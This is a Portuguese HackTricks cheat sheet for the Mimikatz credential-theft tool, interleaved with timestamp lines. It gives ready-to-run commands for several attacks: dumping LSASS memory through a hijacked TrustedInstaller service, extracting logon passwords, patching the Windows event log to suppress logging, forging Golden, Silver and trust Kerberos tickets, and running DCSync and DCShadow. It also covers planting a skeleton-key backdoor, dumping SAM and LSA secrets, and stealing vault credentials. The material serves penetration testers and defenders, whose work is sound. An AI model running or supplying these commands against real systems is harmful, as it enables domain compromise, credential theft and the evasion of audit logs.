2022-08-13 23:06:40 +00:00
# Mimikatz
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-08 03:54:17 +00:00
* Trabalha em uma **empresa de cibersegurança** ? Gostaria de ver sua **empresa anunciada no HackTricks** ? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF** ? Confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-08 03:54:17 +00:00
* Adquira [**produtos oficiais PEASS & HackTricks** ](https://peass.creator-spring.com )
* **Junte-se ao** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2024-02-07 04:39:38 +00:00
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks** ](https://github.com/carlospolop/hacktricks ) **e** [**repositório hacktricks-cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >
2024-02-08 03:54:17 +00:00
**Esta página é baseada em uma do [adsecurity.org ](https://adsecurity.org/?page\_id=1821 )**. Consulte o original para mais informações!
2020-07-15 15:43:14 +00:00
2024-02-07 04:39:38 +00:00
## LM e texto claro na memória
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
A partir do Windows 8.1 e Windows Server 2012 R2, medidas significativas foram implementadas para proteger contra roubo de credenciais:
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **Hashes LM e senhas em texto claro** não são mais armazenados na memória para aumentar a segurança. Uma configuração específica do registro, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, deve ser configurada com um valor DWORD de `0` para desativar a Autenticação Digest, garantindo que senhas em "texto claro" não sejam armazenadas em cache no LSASS.
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **Proteção LSA** é introduzida para proteger o processo da Autoridade de Segurança Local (LSA) contra leitura não autorizada de memória e injeção de código. Isso é alcançado marcando o LSASS como um processo protegido. A ativação da Proteção LSA envolve:
1. Modificar o registro em _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ definindo `RunAsPPL` como `dword:00000001` .
2. Implementar um Objeto de Diretiva de Grupo (GPO) que aplique essa alteração de registro em dispositivos gerenciados.
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
Apesar dessas proteções, ferramentas como o Mimikatz podem contornar a Proteção LSA usando drivers específicos, embora tais ações provavelmente sejam registradas nos logs de eventos.
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
### Contrariando a Remoção do Privilégio SeDebugPrivilege
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
Administradores geralmente têm o Privilégio SeDebug, permitindo que depurem programas. Esse privilégio pode ser restringido para evitar despejos de memória não autorizados, uma técnica comum usada por atacantes para extrair credenciais da memória. No entanto, mesmo com esse privilégio removido, a conta TrustedInstaller ainda pode realizar despejos de memória usando uma configuração de serviço personalizada:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
2023-03-29 20:47:22 +00:00
sc start TrustedInstaller
```
2024-02-08 03:54:17 +00:00
Isso permite o despejo da memória do `lsass.exe` em um arquivo, que pode então ser analisado em outro sistema para extrair credenciais:
2023-03-29 20:47:22 +00:00
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```
2024-02-08 03:54:17 +00:00
## Opções do Mimikatz
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
A manipulação de logs de eventos no Mimikatz envolve duas ações principais: limpar logs de eventos e patchear o serviço de Eventos para evitar o registro de novos eventos. Abaixo estão os comandos para realizar essas ações:
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
#### Limpando Logs de Eventos
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **Comando**: Esta ação visa deletar os logs de eventos, dificultando o rastreamento de atividades maliciosas.
- O Mimikatz não fornece um comando direto em sua documentação padrão para limpar logs de eventos diretamente via linha de comando. No entanto, a manipulação de logs de eventos geralmente envolve o uso de ferramentas do sistema ou scripts fora do Mimikatz para limpar logs específicos (por exemplo, usando PowerShell ou Visualizador de Eventos do Windows).
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
#### Recurso Experimental: Patchear o Serviço de Eventos
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **Comando**: `event::drop`
- Este comando experimental é projetado para modificar o comportamento do Serviço de Registro de Eventos, impedindo efetivamente o registro de novos eventos.
- Exemplo: `mimikatz "privilege::debug" "event::drop" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- O comando `privilege::debug` garante que o Mimikatz opere com os privilégios necessários para modificar os serviços do sistema.
- O comando `event::drop` então patchea o serviço de Registro de Eventos.
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
2024-02-08 03:54:17 +00:00
### Ataques de Ticket Kerberos
2023-06-06 18:56:34 +00:00
2024-02-08 03:54:17 +00:00
### Criação de Golden Ticket
2023-06-06 18:56:34 +00:00
2024-02-08 03:54:17 +00:00
Um Golden Ticket permite a impersonação de acesso em toda a rede de domínio. Comando chave e parâmetros:
2023-06-06 18:56:34 +00:00
2024-02-08 03:54:17 +00:00
- Comando: `kerberos::golden`
- Parâmetros:
- `/domain` : O nome do domínio.
- `/sid` : O Identificador de Segurança (SID) do domínio.
- `/user` : O nome de usuário a ser impersonificado.
- `/krbtgt` : O hash NTLM da conta de serviço KDC do domínio.
- `/ptt` : Injeta diretamente o ticket na memória.
- `/ticket` : Salva o ticket para uso posterior.
2023-06-06 18:56:34 +00:00
2024-02-08 03:54:17 +00:00
Exemplo:
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
2020-07-15 15:43:14 +00:00
```
2024-02-08 03:54:17 +00:00
### Criação de Silver Ticket
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
Silver Tickets concedem acesso a serviços específicos. Comando chave e parâmetros:
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- Comando: Semelhante ao Golden Ticket, mas direcionado a serviços específicos.
- Parâmetros:
- `/service` : O serviço a ser direcionado (por exemplo, cifs, http).
- Outros parâmetros semelhantes ao Golden Ticket.
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
Exemplo:
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
2020-07-15 15:43:14 +00:00
```
2024-02-08 03:54:17 +00:00
### Criação de Trust Ticket
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
Trust Tickets são usados para acessar recursos em diferentes domínios, aproveitando relacionamentos de confiança. Comando chave e parâmetros:
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- Comando: Semelhante ao Golden Ticket, mas para relacionamentos de confiança.
- Parâmetros:
- `/target` : O FQDN do domínio alvo.
- `/rc4` : O hash NTLM para a conta de confiança.
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
Exemplo:
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
2021-10-18 11:21:18 +00:00
```
2024-02-08 03:54:17 +00:00
### Comandos Kerberos Adicionais
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **Listar Tickets**:
- Comando: `kerberos::list`
- Lista todos os tickets Kerberos para a sessão do usuário atual.
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **Passar o Cache**:
- Comando: `kerberos::ptc`
- Injeta tickets Kerberos a partir de arquivos de cache.
- Exemplo: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **Passar o Ticket**:
- Comando: `kerberos::ptt`
- Permite usar um ticket Kerberos em outra sessão.
- Exemplo: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **Limpar Tickets**:
- Comando: `kerberos::purge`
- Limpa todos os tickets Kerberos da sessão.
- Útil antes de usar comandos de manipulação de tickets para evitar conflitos.
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
### Manipulação do Active Directory
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **DCShadow**: Temporariamente faz uma máquina agir como um DC para manipulação de objetos AD.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **DCSync**: Imita um DC para solicitar dados de senha.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
### Acesso a Credenciais
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **LSADUMP::LSA**: Extrai credenciais do LSA.
- `mimikatz "lsadump::lsa /inject" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **LSADUMP::NetSync**: Impersonifica um DC usando dados de senha de uma conta de computador.
- *Nenhum comando específico fornecido para NetSync no contexto original.*
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **LSADUMP::SAM**: Acessa o banco de dados SAM local.
- `mimikatz "lsadump::sam" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **LSADUMP::Secrets**: Decifra segredos armazenados no registro.
- `mimikatz "lsadump::secrets" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **LSADUMP::SetNTLM**: Define um novo hash NTLM para um usuário.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **LSADUMP::Trust**: Recupera informações de autenticação de confiança.
- `mimikatz "lsadump::trust" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
### Diversos
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **MISC::Skeleton**: Injeta uma porta dos fundos no LSASS em um DC.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
### Escalação de Privilégios
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **PRIVILEGE::Backup**: Adquire direitos de backup.
- `mimikatz "privilege::backup" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **PRIVILEGE::Debug**: Obtém privilégios de debug.
- `mimikatz "privilege::debug" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
### Despejo de Credenciais
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **SEKURLSA::LogonPasswords**: Mostra credenciais para usuários logados.
- `mimikatz "sekurlsa::logonpasswords" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **SEKURLSA::Tickets**: Extrai tickets Kerberos da memória.
- `mimikatz "sekurlsa::tickets /export" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
### Manipulação de Sid e Token
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **SID::add/modify**: Altera SID e SIDHistory.
- Adicionar: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Modificar: *Nenhum comando específico para modificar no contexto original.*
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **TOKEN::Elevate**: Impersonifica tokens.
- `mimikatz "token::elevate /domainadmin" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
### Serviços de Terminal
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **TS::MultiRDP**: Permite múltiplas sessões RDP.
- `mimikatz "ts::multirdp" exit`
2020-07-15 15:43:14 +00:00
2024-02-08 03:54:17 +00:00
- **TS::Sessions**: Lista sessões TS/RDP.
- *Nenhum comando específico fornecido para TS::Sessions no contexto original.*
2020-07-15 15:43:14 +00:00
2022-08-13 23:06:40 +00:00
### Vault
2021-10-26 21:32:15 +00:00
2024-02-08 03:54:17 +00:00
- Extrai senhas do Windows Vault.
- `mimikatz "vault::cred /patch" exit`